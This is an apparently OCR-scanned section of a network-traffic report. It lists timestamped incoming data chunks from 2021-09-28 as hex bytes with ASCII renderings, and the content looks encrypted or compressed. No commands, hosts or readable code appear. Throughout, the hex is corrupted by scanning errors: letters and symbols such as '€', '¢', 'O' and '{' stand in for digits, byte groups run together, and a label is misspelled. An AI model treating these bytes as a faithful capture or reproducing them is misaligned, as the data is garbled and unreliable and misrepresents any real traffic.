4b 67 ab 44 ff db 4d bb 31 5a 7d dd 5a 1d b5 5d 43 84 1d ce Oc 02 9a d2 f2 b6 5e 41 f6 96 {7 a4 7a b5 80 bb ae 80 6a 3
69 bc aa 25 af 75 ee 39 3a 64 a5 65 b8 bl 8c ae ce ff 30 19 78 5d 8d cd e0 79 9e 87 a8 30 94 dd 29 ef 46 36 ed 65 77 90
cf 97 13 5d 86 01 ¢8 f7 33 11 94 61 0f d7 02 2d 5d 50 €6 ce b7 9c 5c 8a f7 41 21 d8 6d 75 2a f3 78 1b 58 09 03 2c 83 72
d1 e7 f6 c0 ba 6d b7 Oe 78 2f aa bb 20 8c 89 {7 34 3d
Data Ascii: .(<}CjF=Q7j<XW/DkDkr)*q1l <x,FnlEB}rMyK4KgDM1Z}Z]C"Azji%u9:de0x]y0)F6ew]3a-]P\AImu*xX,rmx/ 4=

2021-09-28 11:02:14 UTC 181 IN Data Raw: ca f9 6e 7a 0d 15 a7 ed 06 46 af 21 54 4c 39 9e 5e f5 9d 67 03 a3 5b d2 ef ad ae c4 59 e5 5a b8 62 c9 4a 86
68 9e df aa 7f a3 26 48 47 2b 75 86 c2 1a 07 08 72 2e 99 f1 d5 51 80 06 8c 54 ef 05 b4 3f 26 83 €9 e9 05 aa 08 db d8 ab
78 57 9f Ob dc 4d c4 0d df a5 3d 09 25 a7 20 00 b0 ef ff 02 87 bf 5b 2d 1b d1 10 20 29 79 81 c¢7 94 21 42 7a 98 8a 3b 45
7017 79 Ob 71 b7 b4 94 59 fc f3 5d 95 85 18 3e ae 8e 98 ec 01 bf 5f cO 3a 9d 76 44 92 3f 6¢ 49 68 c8 a7 e4 78 78 b4 67
2c f2 57 6 cf ¢9 73 67 d1 7f 2b 63 d0 20 b7 05 a3 fe 73 1b 6¢ 5b 36 8b 28 16 8a 2f b6 7f 99 ¢5 95 bc 27 08 e8 1b {7 e0 d1
97 1b fb Ob fb ee b4 51 be 93 f9 1a 67 3c 99 83 7f 73 88 b7 f3 da 3a ef 8f 97 26 77 22 98 51 3d 9f ce f4 fd Oa 25 91 61 5f
ca 79 Oe dd b5 91 32 9e 95 ac 79 c4 6¢ 22 7c c4 48
Data Ascii: nzFITL9"g[YZbIh&HG +ur.QT?&xWM=% [- )y!Bz;EpyqY]>_:vD?llhxxg,Wsg+c sl[6(/'Qg<s:&w"Q=%a_y2yl"|H

2021-09-28 11:02:14 UTC 182 IN Data Raw: 55 df cc 1d 06 ¢8 a5 25 66 28 4e 3f 98 dc db b4 ¢8 41 1c 17 11 11 06 53 e0 86 ac b0 43 f1 ff bc 57 b0 49 60 94
df bb 59 a7 37 91 b3 1a ae 25 70 d6 f2 04 bb 2a f0 e2 0d b7 85 3e 30 b3 4f cf a0 3¢ d0 28 58 75 06 6 95 85 5d a0 8¢ 2e
ae 4c f7 7e 5¢ 0d 6f 2b 2f cb 50 b7 5¢ 51 8e 29 6¢ fc 7d 23 02 44 77 bc 3 81 92 be 99 7c ca aa 4e d3 1b df c2 2c 6d 32 9¢c
9e c8 dd 5d 6e b0 8b ea 1e 3f 7f 56 2f c9 43 c2 9c 8a c7 1c 68 66 dO 2f e0 ca Oc da 35 a5 44 2a 87 d3 34 48 ca 7f d6 be {7
fd 8c 46 3c 54 6f 96 ac ec 91 30 dc fe 4d 5 44 65 2e a4 a9 ca 25 25 ed 1d d4 95 b5 2d 2f ac cb 20 3e ce 95 34 fe c8 88 ba
b0 f5 69 d6 41 44 be 18 54 62 d7 11 f6 f4 1a 34 4c 8a 95 2f 8a bd bf 91 e2 ec 29 eb 64 fa 18 €9 37 af 2b f9 9c 7f 6e ec 5a
0d 36 ¢8 e0 5¢ 22 00 53 39 8e 50 25 Oc d6
Data Ascii: U%f(N?ASCWI'Y 7%p*>00<(Xu].L~\o+/P\Q)I}#Dw|N,m2]n?V/Chf/5SD*4HF<ToOMDe.%%-/ >4iADTh4L/)d7+
nZ6\"S9P%

2021-09-28 11:02:14 UTC 183 IN Data Raw: cb 95 d2 9a d8 29 f6 7e 94 30 bd 1f f5 38 Ob 76 9e 06 d9 62 05 8e 51 96 €6 19 4d b6 f1 2¢c 6d d5 10 70 b1 95
d9 e0 7d a9 56 d2 b6 b7 01 36 18 47 57 8a 87 07 89 8b 23 88 b9 b6 7c 19 23 6f c4 c1 0a d8 19 33 d5 d3 01 1b d5 e 1d
e6 fb b7 9e a3 fb ff 52 3e 0f 83 79 f2 6e 97 88 3c 7c df 8d 91 10 75 b4 98 33 a8 79 9e bb 1b 6e 15 93 49 69 c8 ef Oe 9e 34
77 7c e5 732649 c6 25 14 7e 52 48 ¢3 7d c0 86 41 bc f2 41 69 8f 25 dd 58 dd 54 c4 7d 6b al e4 a0 ac 5b a5 7b 80 bf e8
d8 4f d2 ed cf 0d f7 80 16 55 55 c9 76 97 db 3f 01 18 41 f4 be 2c 67 52 2c d7 61 c8 6f ba 1a 2b 01 65 5e 39 a4 00 95 f6 17
fd ec 98 86 79 4d 8f 93 42 37 50 ea a8 31 2a a0 11 76 al 8e c8 7a al 97 76 7a ee 29 95 ae d3 ce 70 41 c7 d5 c2 d0 69 46
f3 78 c7 db 82 63 a9 e9 a7 0f Oe 51 f4 a6 93 00 35 fO
Data Ascii: )~08vbQM,mp}V6GW#|#03R>yn<|u3ynlidw|s&|%~RH}AAI%XTIK[{OUUV?A,gR,a0+e"9yMB7P1*vzvz)pAiFxc
Q5

2021-09-28 11:02:14 UTC 185 IN Data Raw: 67 €8 b0 Oe 95 a5 64 b9 88 aa 5d 6a f0 dO b8 70 2c al a3 d3 61 61 28 08 92 36 de ca d4 41 58 af al 6a ac 19
56 de d7 ae 7a 91 3b 4d 18 96 8c a2 6d Oa a6 7a 8b 27 b3 ed c0 43 73 33 71 c9 82 ef 22 cb 8f 97 a2 fe 89 19 5¢ b8 8d 8f
9a 65 46 a8 5a 56 f4 d7 1b 62 12 bc 6¢ aa f8 b1l 2d b2 ff bd 07 e2 2e b8 0d 52 82 fe 79 13 ad 71 bb 9e €9 6e 6a ce eb eb
9e 06 ea 06 02 2f 7b 8¢ c6 25 1b 4a 01 29 8f 7c f8 d9 21 87 58 62 7c 27 23 1d 23 75 79 f6 1f 92 6d 9a 78 dd b6 e8 9a f4
d7 c6 50 b6 03 49 4e 44 35 da 69 de 39 fe 9 0f 95 59 91 e5 9d 2b df b0 19 d5 4d el 82 34 8e 94 05 91 79 29 a6 f2 00 c2
6a 78 dd fb 11 bb fa Ob 3d 32 f5 f4 ad ba 9b aa 5d fb 82 98 89 9b 06 c5 b6 Oc 7 c8 c8 6d 9c 99 68 fO 0d ba 46 d2 21 46 ee
3b 97 49 13 09 la d5 45 e7 d2 92 ad 9d 66 5b 80 59 5e
Data Ascii: gd]jp,aa(6AXjVz;Mmz'Cs3q"\eFZVbl-.Ryqnj/{%J)|'Xb|'#tuymxPIND5i9Y+M4y)jx=2]mhF!F; [Ef[Y

2021-09-28 11:02:14 UTC 186 IN Data Raw: 48 4f 7f 26 06 2f bc 58 0d 6b 0d 36 dd ce dc 39 51 88 69 dc e5 6¢ 63 4a a5 7b 81 29 6a 7d 4c 34 ee b2 8f 09 cd
14 54 55 4b f3 97 36 29 e7 98 2f f4 b0 63 65 d0 3f d7 f7 c9 6f 3c ef 29 7c 64 71 f5 b5 00 95 {7 81 7f 11 80 60 7a 30 8f c2 Od
3552 ea a8 a7 2b 8a 11 90 a3 f3 ca 08 ea 95 76 7a ef bf 94 87 ¢8 28 73 3c ¢5 46 8c d2 6b 46 {7 ee c7 8f 84 85 ae 94 a7
ba 43 53 f2 a6 93 96 37 Oc f1 db 38 8b 9f 9e db 5a c7 d9 bd b2 54 db 0f 89 90 2f 09 75 1e 5a 16 60 55 87 02 5d af 39 cb 9c
a0 b2 3f 63 49 20 cf d5 2e ad d8 b6 76 78 a0 85 00 f5 51 46 9d 46 8f e0 c1 18 58 49 91 bb e2 f2 3a f3 ed e5 e2 7d 94 72
60 4d 75 9a 02 a2 03 0f 10 63 34 e3 b0 4b f1 ab 22 fe 3e 4f c6 31 a6 45 dc 5a 1d b5 db 53 25 1b 28 Oe 6f 8a de db b4 5e
51 €6 03 f7 13 7b 43 92 c5 ae b0 43 el 79 b8
Data Ascii: HO&/Xk69QilcJ{)j}L4TUK6)/ce?0<)|dq z05R+vz(s<FkFCS78ZT/uZ'U]97cl .vxQFFXI:}r'Muc4K">O1EZS%
(o"QfCCy
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Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 187 IN Data Raw: 89 f2 29 f4 7d 2d 33 35 f4 5d 63 €9 6¢ 8a bc c6 66 07 a4 f1 cc 69 8b 7b f0 12 f1 c¢6 49 30 1a 3d 56 18 ba 4d 3c
25 c9 ff cf e7 d5 22 5b ee 48 aa 86 b3 ee da al 8e 42 ¢3 30 61 72 f3 75 70 e5 7a 65 a6 60 8c ad 6b 37 3b 62 76 ce 81 30
3e c3d6 88 3d ab 9c 6d 98 7a f9 b1 15 ff 21 d6 b6 1d 60 8b d5 ab 7f 8a 14 2b e0 25 41 c3 20 3e 52 b1 98 4f f4 da 4b ca
a6 dc d1 bd b6 Oc f6 62 e6 64 9d e7 c9 9f a7 b0 b9 bl aa d3 97 50 5e 14 2c bf 86 fb 3a f2 0a 6b 2e d0 e0 c4 51 b1l 07 ff 5a
ae 22 3e 3d 65 a6 09 da 63 aa 07 d3 cc ac 10 51 5f 2c 32 4a 3f 3a 65 8b a4 Oe df a7 6b 2a cb ea ee 02 cb 8a f8 2a 77 d1
112192 7d33c5a22alb49db89 74 75 ¢c3 13 f2 38 06 aa 12 96 ee c9 7d 4b bb 84 ef 3f 9c 80 14 ed d5 bf ed ee 81 9a
2a 44 0b 37 e2 7f b7 c9 1le ea d9 4a e2 67 cd dc ef
Data Ascii: )}-35]clfi{l0=VM<%"[HBOarupze 'k7;bv0>=mz!"+%A >ROKbdP",:k.QZ">=ecQ_,2J?:ek**w!}3*Itu8}K?*D7Jg

2021-09-28 11:02:14 UTC 189 IN Data Raw: ea f0 57 38 4a b4 99 ca c6 7d d4 98 a9 45 7f 8d 22 be bf 08 d1 8d 09 26 45 50 b6 fd 91 b2 f2 ca b4 al 15 1c 9b
4f 41 cd eb 1b 7d da d7 74 8e 84 2 12 84 54 60 ba d5 8b 89 c4 df 73 37 85 c2 e7 60 22 77 f8 6¢ €7 47 85 3b 67 54 74 64
26 29 14 16 11 cd 18 ec bl 6a fO0 b7 2d b7 3c 26 ¢5 73 84 9a cf 7b 1c 16 e5 99 37 b2 28 67 4b 90 df ba b6 60 64 f8 11 76
16 ee 79 a7 c2 07 b5 57 dc 7f ad 53 b3 58 79 84 cd f9 1c a0 2b e2 al 9d af 82 71 b3 f6 d5 bb b1 95 f3 0d e6 87 96 15 54
4b 85 a2 4e d8 2f 13 96 05 34 95 d7 5e 2a 97 cd 9f 08 fd 3a 1c 9d 75 14 25 4c 51 69 40 34 8a b5 6f 1b 2f ad 07 a5 74 14
d6 Ob 88 b9 98 3f ef 19 Oc b8 1b fd cb 39 7f Oe 9d 27 d9 2a 4f f3 f4 b7 cf 0d 3f 38 54 fe €8 3a d2 00 8f 94 78 ce 74 01 2d 57
dd Oa cc 02 a5 4a 0f c2 9c e7 4a e0 6¢ ee ac 7c
Data Ascii: W8J}E"&EPOANT s7 "wIG;gTtd&)j-<&s{7(gK dvyWSXy+qTKN/4"*:u%LQi@40/t?9*0?8T:xt-WJJ|

2021-09-28 11:02:14 UTC 190 IN Data Raw: 69 f6 cd d3 a9 af 4d a0 5d 3d Oa 2d 09 40 15 c6 95 c5 a6 e2 61 27 86 cf 7c d4 2a a8 97 19 ed 4d ee 66 88 7a
3a 72 4b 0f 14 29 62 4a 35 7a a2 58 40 a6 73 5b cc fc 64 3e 40 ba 5a dd ea 55 22 ac 06 7e c2 5e 61 34 ff 87 c1 70 42 42
05 €9 e0 bd c5 81 12 38 04 €3 29 be ca 95 74 ca 84 68 ¢3 d3 9c 96 83 al 1d 09 4a 7d 18 50 4a 3e 34 3b a0 7f 03 26 96
60 80 94 83 db 4d 19 f1 9e 19 Oe cb c2 b4 7b Oc 92 5c¢ af 3d a0 d0 f0 89 b7 6a 21 51 5d d3 8b d9 5b 06 a9 e2 8b a2 a5 c5
2d 84 6f af f3 cf b7 da 30 eb f6 93 38 32 99 ¢5 c1 95 b7 75 ea 00 dd b2 3d b5 82 41 c0 79 97 3c 38 €9 9a cb b2 d1 76 b5 9f
398856 98 b3 13 26 59 50 4a e4 cf 11 2d 14 27 fe 65 01 74 d7 03 fa 00 e5 7c 7d 48 71 5b a9 a7 85 bc 66 23 78 8f a4 da
5afa 89 f0 af 68 e2 c1 7f el d0 a2 4b 94 8a ed 87 4e cd
Data Ascii: iM]=-@a'|*Mfz:rK)bJ5zX@s[d>@ZU"~"a4pBB8)thJ}PJ>4;& M{\=j!Q][-0082u=Ay<8vIV&Y PJ-'et|}Hq[f#xZhKN

2021-09-28 11:02:14 UTC 191 IN Data Raw: e4 a8 4c a6 6a e9 83 3a e2 af 3f 91 d3 8e e8 cc 61 30 98 7b 44 86 b8 €0 61 b5 c3 aa 38 94 3b 2b 3 43 d8 ef
6c 75 a2 e9 9d 13 25 84 c5 d6 a4 31 8b 94 4b 11 67 2b af 5f Oc f8 50 b7 08 56 0d eb 34 21 8e 46 4b 28 fb 78 1d 5a de 01
c2 81 9b d3 e4 d6 ca ba d5 b5 dd 78 c2 a0 el 20 Oe 80 e2 1e ff eb ad 06 e0 a5 04 e3 b0 b5 55 6a ae d2 10 69 c2 a3 12 d1
32622 08 42 34 01 d5 77 40 66 af 99 6a 4c 41 88 dc 48 al e4 91 d0 48 01 9d f9 a2 83 51 00 75 83 27 cd ef 5b 40 9d 31
e0 cb fd a9 28 cb 7f 95 75 fc cO 1e 4e b8 59 80 dc 3c bc aa 71 59 6a d7 ed 62 ac al 19 aa 88 eb 72 ad f7 bd 95 el 8e a0
€350 f7 fd 8¢ 55 a7 71 b7 9d 13 71 e4 cc 1d ea 92 19 56 5f 14 2c 0d 93 58 25 b0 43 a2 2b fa 7c ee 83 d8 8d 50 62 2e 24
d6 1d cd 77 c8 f5 d4 c9 67 9a a8 de 65 €8 c8 e0 e5 c7 d2
Data Ascii: Lj:?a0{Da8;+Clu%1Kg+_PVA4IFK(xZx Uji&"BAW@fiLAHHQU[@1(uNY<qYjbrPUqqV_,X%C+|Pb.$wge

2021-09-28 11:02:14 UTC 192 IN Data Raw: 5e ec ba d6 47 7f ae 64 ba 4d {7 3b 31 1e 90 e5 fb 31 69 42 56 97 be 3f e9 33 c0 63 ae d9 al a5 1f 16 b4 06 74
c8 bf 8a 9c e6 01 e6 4e 9b 5f al f5 e7 de 4c 55 87 18 61 47 96 2b eb 7 26 4f 91 87 0f 59 3d 15 4e 32 80 2e d9 db 17 79
b1 06 49 ac 59 7c fd 5e bl f9 b8 84 8e 23 e5 1d 35 2e e5 2a 6e df 07 2a 1d 79 79 d5 4a 92 07 f1 ec 8d 1b 7b b9 94 fe be
4f 8e 7a db 58 20 Oa f8 4a 52 10 d6 96 43 3e a5 30 2b 71 5a c4 3¢ 12 9c ¢3 cb 18 2e 94 77 40 6e 09 b5 d2 bc 4a 17 d9 9e
59 bc 54 9e 83 f3 b0 fd a7 d1 24 dc 46 01 16 06 e4 53 12 3d cd de 80 aa ad 81 b7 61 d4 3a 2f fd bd 53 52 da 97 c3 af 4d
00 8f 14 87 6f d8 fb 1e 6f 25 c7 c3 a5 a0 af 9 be f3 90 2a 79 82 8c ec bc bd 26 63 f1 80 al 45 b4 e7 71 f1 d9 7b 99 b4 fO
77 bl d2 03 53 59 e2 6a 9d 4c 50 87 fd 72 b9 29 cd
Data Ascii: "\GdM;11iBV?3ctN_LUaG+&0Y=N2.ylY|*#5.*n*yyJ{OzX JRC>0+qZ<.w@nJYT$FS=a:/SRMoo%*y&cEq{wSYjL
Pr)

2021-09-28 11:02:14 UTC 194 IN Data Raw: c2 dc 68 44 b0 55 af d7 af ec 63 31 3b fe 96 f1 5a 66 20 a4 7b 8b de 24 9e 1d 40 95 cb 0d bc ae b7 20 30 8e e2
34 fc c8 e2 bb cd 0 8e d4 c1 45 df 5a 54 62 29 10 19 f4 bf 11 55 89 91 2f b0 ff 9e 93 99 ec be eb 74 fd 85 eb 48 af 54 b9
€3 7f 6f ec ea 0f 94 €3 04 5e 78 02 50 7b 8d 50 0d Oe 3f e7 29 f2 55 2¢ 01 23 86 58 48 €8 a6 90 05 c5 2f 06 bd ec dO 6f 14
7a 96 24 d9 cO de 32 71 29 87 1b 53 4f 3 31 eb ff 9c e7 45 Ob 3¢ e8 1d a8 04 9b 1f df c4 8¢ e9 ec cc 64 4e 0 3b 5e 86 7b
69 a2 5d 96 9b 6d 1d 22
Data Ascii: hDUc1;Zf {$@ 04EZTb)U/tHTo"XP{P?)U #XH/0z$20)SO1E<dN;A{im"

2021-09-28 11:02:14 UTC 194 IN Data Raw: 8b 6¢ 29 9e d9 26 43 ec 8a 22 ea 9d e7 a2 93 ff €9 16 b9 04 ba b6 52 60 27 f8 98 7b c4 13 97 ca aa 43 88 26
27 7f 54 99 ee f2 da 60 ff af 8¢ da d7 a6 8e e0 7c f5 23 aa ba da 55 b3 26 88 14 be ee 83 f6 5¢ 9b 3f 11 92 cd Oa 8e 11 72
3562 db ch 71 bb 26 5a 74 75 03 55 19 cb a6 db f5 b6 82 dd f3 55 82 e2 7b 49 22 c2 61 7e 38 f8 a5 e4 29 bl a7 bc 2a 71
ed 9f 1e 59 8b 1d 2c 7c d1 c0 2c 73 7c 24 c4 82 21 d9 4f 9b 8a 78 44 8b 17 78 3e 96 b5 c9 95 3e c9 ae 6¢ 97 85 8e 3f 50
8b df de 7e bf 59 f4 45 9d b3 52 06 3f 60 79 f1 ca 70 f4 1b 4d b6 66 ad f2 12 c4 70 cc 95 64 2f 7f €9 71 d5 20 b7 04 b0 fe
ed 1b 8d 59 08 8a Oc 23 44 28 b4 7f 4c c4 e4 b9 ce 3a 96 1b 70 d4 58 97 87 ca 9e fb e4 87 04 bc 34 f3 f7 52 7d 98 36 7f
66 89 94 f5 3¢ 39 53 8f 9a 3e 73 22 98 50 68 9f 67
Data Ascii: [)&C"R™{C&T"[#U&\?r5bg&ZtuUU{l"a~8)*qY,|,s|$!OXDx>>I?P~YER? ypMfpd/q Y#D(L:pX4R}6f<9S>s"Phg

2021-09-28 11:02:14 UTC 195 IN Data Raw: 26 09 04 1b ee 31 94 04 47 5d 22 75 b0 fa Oa c3 9e 16 fe 78 7a f2 74 82 17 9b 69 30 f4 8d 76 10 36 1c 3d 3e
ab f1 9a 85 18 76 db 30 b6 2a 4b 64 b4 82 ef 86 07 c6 5f bc cd d6 db 3d bc 8b 7e 21 a5 Ob dc dc e8 db a2 Oc Oe f0 3b fa 8f
f3 al 0d f3 c4 a8 75 d5 4b 6f €3 41 97 ae 18 3f 47 e6 f4 52 5d e4 d6 c8 cf 70 {7 f2 5d 0Of 28 4e 5b 10 3f 82 2d db e9 12 05
99 59 6f 63 29 12 6b f3 1e cc 58 fc 40 ca e9 4e d1 5c ba b6 ec 02 db ed 15 af €9 33 44 9e fb 87 7f 4b 80 39 62 a9 a5 82
a3 8a e9 1f 6a 22 92 2f 33 88 a3 98 91 a7 7e 68 08 da 74 48 ab 3d 40 dc ef dc 09 06 41 30 9c d7 cb ae 91 56 08 fe f3 b3
a2 0f 11 a4 32 c6 66 66 ed 5f 01 95 72 4f c9 ea 5 20 8e cc 97 72 bd c8 59 f9 ba b8 cc d4 5d 07 a8 38 15 62 b4 52 60 90 fd
11 cf cb e8 49 f1 ff da d2 e2 84 fc eb 12 bb fe
Data Ascii: &1G]"uxztiov6=>v0*Kd_=~!;uKoA?GR]p](N[?-Yoc)kX@N\3DK9bj"/3~htH=@A0V2ff_rO rY]8bR'l

2021-09-28 11:02:14 UTC 196 IN Data Raw: 78 72 1b 3f c5 ab 78 be 0d ¢3 8a 7f 1c €6 52 c2 3b d1 ec c9 d3 1e c9 b9 04 95 e4 d7 3e 49 d2 7e 8d 25 bf 7b ac
38 f8 2f 44 62 66 60 1f d7 ca 98 be 19 Oe ec 67 68 a8 c1 b3 28 cc d3 3f ac 38 f3 56 9a 7a b7 64 6f fe 27 70 8a 3a 11 8b ef
79 88 4a ec 7f 69 9f 6d de 9b 0a f2 7e 47 8a a5 f6 77 8e f8 a4 bb 86 c4 d9 9a a6 89 33 52 ec €6 20 ba 88 d7 94 3c 7b f3 8f
d5 71 75 67 f9 51 ed fe 9c 81 7a 08 10 f0 49 08 a9 79 6¢ bc 23 2 1f 98 17 cf 04 al 44 14 18 a5 48 28 1f 26 ec 5d bc 3f 69
1f d0 61 bc ba bc 39 a0 fe 1d 83 a0 0d 95 38 a5 2b f2 46 9c Ob 2f 40 8a d6 49 7b b9 75 55 12 ac 94 d8 54 42 82 79 48 b0
d1 16 04 52 7c a5 98 a2 Oa dd 88 6d 1d 11 10 77 f6 72 fa 86 e4 8f 76 {8 24 1a 44 ee c2 4e 57 50 a9 ca a7 6e e8 15 d5 cl
3 8e 6a ef d2 14 7a a6 dd 95 e6 aa 28 10 5e
Data Ascii: xr?xR;>1~%({8/Dbf gh(?8Vzdo'p:yJim~Gw3R <{qugQzlyl#DH(&]?ia98+F/@{uUTByHR|mwrv$DNWPnjz(*

2021-09-28 11:02:14 UTC 198 IN Data Raw: e0 11 f6 60 ad e4 0f 82 7e b1 a6 f7 08 c4 eb 19 ad c5 5d 6f 90 e0 86 53 5a 9a 25 6d 8f c0 c0 a0 ee ce 0f Ob 08
b7 4a 76 89 d1 bb b7 c2 57 5e 61 f3 5a Ob ab 1c 28 db ad 99 04 20 08 3a a8 b8 c5 89 91 72 2f 99 fd 9f eb 09 25 cb 11 ee
27628869 07 fb 47 65 bb c1 d8 4d ae el €3 62 9f ba 77 db d8 9c ea d4 75 01 c6 2f 3b 07 a5 70 02 98 db 11 e3 cc 81 5¢
€2 90 ce f0 80 80 da eb 19 ac 9b 99 23 ce 1d d2 e4 1e Oc 80 a9 0d bd 8c 42 31 2a 62 43 1e 8c 37 40 78 1f af 4a 9c 18 42
e5 23 d5 2d Oc e 4e fd 7a 83 1e 61 9a 8c 83 Oe f4 1c bl 45 e8 93 81 57 al 65 d7 75 77 20 21 35 88 8a b0 90 95 62 68 bc
20 db da d7 4a b1 d4 e3 b0 ef a7 01 5a 96 5 2d ae 33 48 c8 96 fa a7 6d 38 49 9c 0d cf e2 19 5e 5c 91 98 5e ba da d9 cf
ad 86 e8 73 87 76 aa db 44 00 a6 9d 02 1f 9b 7d 91 a2
Data Ascii: “~]oSZ%mJvW"aZ( :r/%'biGeMbwu/;p\#B1*hC7 @xJB#-NzaEWeuw !5bh JZ-3Hm8I"\"svD}
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 199 IN Data Raw: f9 a5 6f 4b 37 fd 25 Oc ab 0d 67 b2 4d d3 1f eb 16 ae 4c b0 51 64 29 al 2a 1d 1b 55 f4 53 d2 2b 69 6b c8 40 a9
9c b8 4a a3 f4 07 af 81 6¢ a2 35 ca 08 e5 29 ac 07 3f 44 80 c1 68 1a 99 66 2c 05 a8 92 e4 53 28 b5 7f 4a 91 c2 11 00 52
6f a5 92 a9 1b db fc 64 09 09 05 le c5 61 e6 82 c5 98 6e e4 07 1a 44 ea c2 4b 50 24 al cd de 48 e5 74 e2 c7 a0 bc 69 9b
fO 76 3f 8a d6 el e8 ba 6a 00 53 b0 35 ed b0 05 23 a0 9a a6 fb €3 85 ef f1 cb df 34 36 f4 c1 6 e2 6a 4f 93 b5 6f f9 f6 ea bf
5a 29 9a cf d7 34 bf de ee f1 5b 61 16 cc 32 62 12 3d e5 89 06 da 29 9b c9 el e6 47 01 29 41 ab 94 4a c9 a8 df 14 0d d6
€0 02 b6 3e 2b ef 2f e0 85 b3 5f 3f 27 f0 c9 83 86 5d 97 a9 91 96 Of ff 10 13 39 10 9a 47 d7 6d 6b 51 17 42 91 db 29 84 df
45 fe 75 2a aa 41 fd 30 a6 2d 72 c7 af 02 53
Data Ascii: 0K7%gMLQd)*US+ik@JI5)?Dhf,S(JRodanDKP$HLtiv?jS5#46j00Z)4[a2b=)G)AJ>+/_?"19GmKQB)EuU*A0-rS

2021-09-28 11:02:14 UTC 200 IN Data Raw: 97 85 2d af 35 d4 e9 11 02 83 ad 69 ba 97 74 37 31 67 2f 3c €9 24 75 7e 29 91 4a 86 19 7e f2 4c el 31 Oe 8f
74 e4 6d ac 19 63 f6 ab a4 02 ea 19 af 45 bb b4 92 58 aa 4a b6 4f 7c 1f 30 47 b3 91 b9 e4 bb 6a 79 bb 2d d9 d6 f1 4c df e3
fa b7 9c 81 16 5f 9d f3 5e 98 02 5a d2 97 fb ec 29 09 5a 8e 05 d5 e0 51 6b 5d a0 b8 54 d4 fa bc ef 96 b3 {7 78 a6 04 a2 d3
78 3e ad 97 0f 18 f7 70 bc a3 87 44 al 44 32 27 5e f0 3f 97 67 02 99 c8 da dO 5 c8 e9 af 16 96 3d b8 b6 al cb e4 e6 9c e6
c22ad24c 48 01 43 e3 cl ad 1f a9 62 Of 4f 86 c5 b5 39 80 4b 7b 20 2d 48 52 59 33 83 14 b5 07 cc 60 db 29 c3 49 35 1c
7d fe 1d 1f 4a ae d2 52 7b d7 ef 9d 58 3e ed c1 6d 31 fb 2c 59 7e 99 e7 53 1a 7c 21 a9 9c 52 d6 4e d7 eb 4f 2d e6 70 fe 4f
c8 fO bl f1 24 bc 85 3c {7 e9 eb 6e 4a ff 16
Data Asgcii: -5it71g/<$u~)J~L1tmcEXJO|0Gjy-L_/Z)ZQk]Txx>pDD2" 2g=*LHChO9IK{ -HRY3")I5}JR{X>m1,Y~S|IRNO-
pO$<nJ

2021-09-28 11:02:14 UTC 201 IN Data Raw: 5b a2 32 d3 85 39 27 81 8f aa 8f el e0 df cb f7 db 32 32 99 a6 f1 fb 35 6f 9f db 5¢ e6 9f f9 bf 2e 22 bb c9 d7 38
db fe ff e4 70 41 01 e8 2b 16 36 35 f2 90 06 8 4c bc d4 d4 d7 42 73 2b 45 bb 8a 78 d4 b6 d3 25 01 d1 f1 67 98 51 09 ef 23
fe 81 b5 71 34 2e c6 c2 91 86 5d 9e e8 83 8f 7d f1 1f 66 1e Oc f7 6d ¢7 70 7d 79 00 77 8f d5 24 83 c2 54 96 50 4f 8e 50 c5
3d 9e 36 7a da b9 2a 53 73 45 Oe 33 ce ae b2 d9 5e 13 97 6e 93 7c 16 53 cb 85 dc ¢9 33 85 06 €8 d8 d2 c1 11 8f b0 4a 74
a5 72 ff c6 el ae 8c 07 30 b3 17 bb cb de e0 48 d9 85 ee 5e 94 Oc 47 a2 09 be ef 4c 18 44 89 fa 7f 38 e7 f9 c8 e5 42 bb ff
68 7b 03 4e 6a 33 34 8f 39 d9 8¢ 36 02 f5 5f 4f 02 20 19 2a bf 1d e3 58 fc 64 be de 5¢ b2 69 ba a7 d4 6d 4 f7 08 b3 e6 2f
4d 9c da 89 6¢ 5a 8c 38 Oc 8f c0 b4 be
Data Ascii: [29'2250\."8pA+65LBs+Ex%gQ#g4.]}fmplyw$TPOP=6z*SsE3"n|S3JtrOH"GLD8Bh{Nj3496_O *Xd\im/MIZ8

2021-09-28 11:02:14 UTC 203 IN Data Raw: b8 89 2b bc 21 03 16 4d f7 2c 9a 65 67 86 d3 cf b9 fc ca de 9f 36 95 3b ca 9d ba a4 c9 8e ce d7 c4 2a f0 41 3c
18 68 97 f4 a9 54 84 73 4b 41 99 ab d7 36 e5 72 45 07 26 49 34 49 10 e6 08 99 68 dd 66 db 29 ce 3d 0d 38 65 d5 06 1b
4099 ca 4a 67 b3 f4 93 48 3d 88 f6 51 34 fe 2d 49 74 a6 €8 20 30 13 67 86 86 21 fa 21 9a cf 54 45 a0 78 9b 7c f8 b5 81 fb
47 8a 9e 30 e5 e4 fc 5b 7f e4 7e ad 13 cf 66 al 57 9d 17 2b 04 5d 0f 78 ed a5 da 80 76 4d d3 08 2c 95 a4 82 2d 85 fb 03
c3 7f e0 3b b3 47 d2 46 5a 9a 20 49 c3 37 2d e4 8b 65 el 4a da 1b 46 ab Ob d6 c1 4c fc 77 56 9c bd f1 74 fb de 8e 88 f2
c2 ce 8b b0 91 34 51 99 ¢5 16 89 ed c3 90 4e 4b fb 0 ff 59 1b 44 {7 51 ec fa e8 90 7e 7a 2b f8 26 07 81 17 68 b2 23 c2 1b
ea lacf 68 ad 5f 75 Oa ad 27 21 37 48 e2 53 bc 2b
Data Ascii: +!M,eg6;*A<hTsKA6rE&l4Ihf)=8e@JgH=QA4-It 0g!!'TEX|GO[~fW+]xVvM,-;GFZ |7-eJFLWVt4QNKYDQ~z+&h
#h_u'"7THS+

2021-09-28 11:02:14 UTC 204 IN Data Raw: 55 7e 49 7a 1a ca ae b4 de 3b 22 82 45 85 61 14 21 82 85 c2 d5 22 83 39 ce ¢5 d9 ca 01 9d 9a 4a 6b ca 45 91
e0e9 da 9e 1b 5f 9a 1c d8 fb f5 92 7f d8 f7 a8 63 fb 28 42 ¢7 35 95 9d 6a 18 74 e6 f2 76 29 d9 d9 bd c1 53 92 e4 58 6a Oc
42 42 3c 3c b5 3d c7 ed 26 0d 81 53 53 02 0d 32 44 86 15 €8 2a fa 75 a5 f3 0f 9c 7a bl a3 dd 08 da fd 16 be ef 3f 48 94
ea 9e 5b 51 9¢ 3b 69 9a c4 b4 8e f8 aa 1a 0f 12 95 41 03 a7 c6 ac b2 d3 56 58 08 d3 55 3c a3 09 21 ca c2 ae 6a 6a 22 20
